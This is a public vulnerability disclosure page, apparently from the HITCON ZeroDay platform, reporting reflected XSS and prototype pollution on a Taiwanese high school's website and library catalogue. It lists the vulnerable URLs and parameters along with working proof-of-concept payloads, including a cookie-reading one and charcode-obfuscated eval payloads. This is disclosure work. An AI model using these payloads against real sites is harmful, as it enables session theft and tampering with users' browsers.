輔仁高級中學網站存在 XSS 與原型污染

Vulnerability Overview

ZDID: ZD-2022-00232
發信 Vendor: 輔仁高級中學
Title: 輔仁高級中學網站存在 XSS 與原型污染
Introduction: 網址參數存在 XSS 與原型污染

處理狀態

目前狀態

公開

Last Update : 2022/05/29

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2022/03/29 14:45:10 : 新提交 (由 BTtea 更新此狀態)
2022/03/29 14:46:12 : 新提交 (由 BTtea 更新此狀態)
2022/03/31 14:49:12 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/04/01 18:59:48 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/04/01 18:59:48 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/04/01 18:59:48 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/05/29 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2022-00232
通報者：blacktea_player (BTtea)
風險：低
類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。

漏洞說明： OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

防禦繞過方式： OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

http://www.fjsh.cy.edu.tw/modedu/order/index.php?prgid=9&selplace=14
prgid , selplace 值存在 XSS
xss payload : "><svg/onload=alert(1)>

http://www.fjsh.cy.edu.tw/modedu/pub/index_show.php?fr=i&flag=1&id=12454&selpage=&selpart=0&prgid=152
flag , id , selpage , selpart 值存在 XSS
xss paylaod : "><svg/onload=alert(document.cookie)>

http://163.27.10.12/webopac6/simdata.php?pageno=1&pagerows=15&orderby=BRN&ti=123&au=123&se=123&su=123&pr=123&accn1=123&accn2=123&mt=123&mt2=1+cassette.&yrs=123&yre=123&nn=123&lc=123&bn=123
ti , au , se , su , pr , accn1 , accn2 , mt , mt2 , yrs , yre , nn , lc , bn 值存在 XSS 與原型污染

xss paylaod : <svg/onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
// 此行原本 code     alert(1)

xss 原型污染 PoC payload : <svg/onload=eval(String.fromCharCode(36,46,101,120,116,101,110,100,40,116,114,117,101,44,123,125,44,74,83,79,78,46,112,97,114,115,101,40,39,123,34,95,95,112,114,111,116,111,95,95,34,58,123,34,122,34,58,49,50,51,125,125,39,41,41,59,97,108,101,114,116,40,122,41,59))>
// 此行原本 code      $.extend(true,{},JSON.parse('{"__proto__":{"z":123'));alert(z);

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

輔仁高級中學網站存在 XSS 與原型污染 - HITCON ZeroDay

Vulnerability Detail Report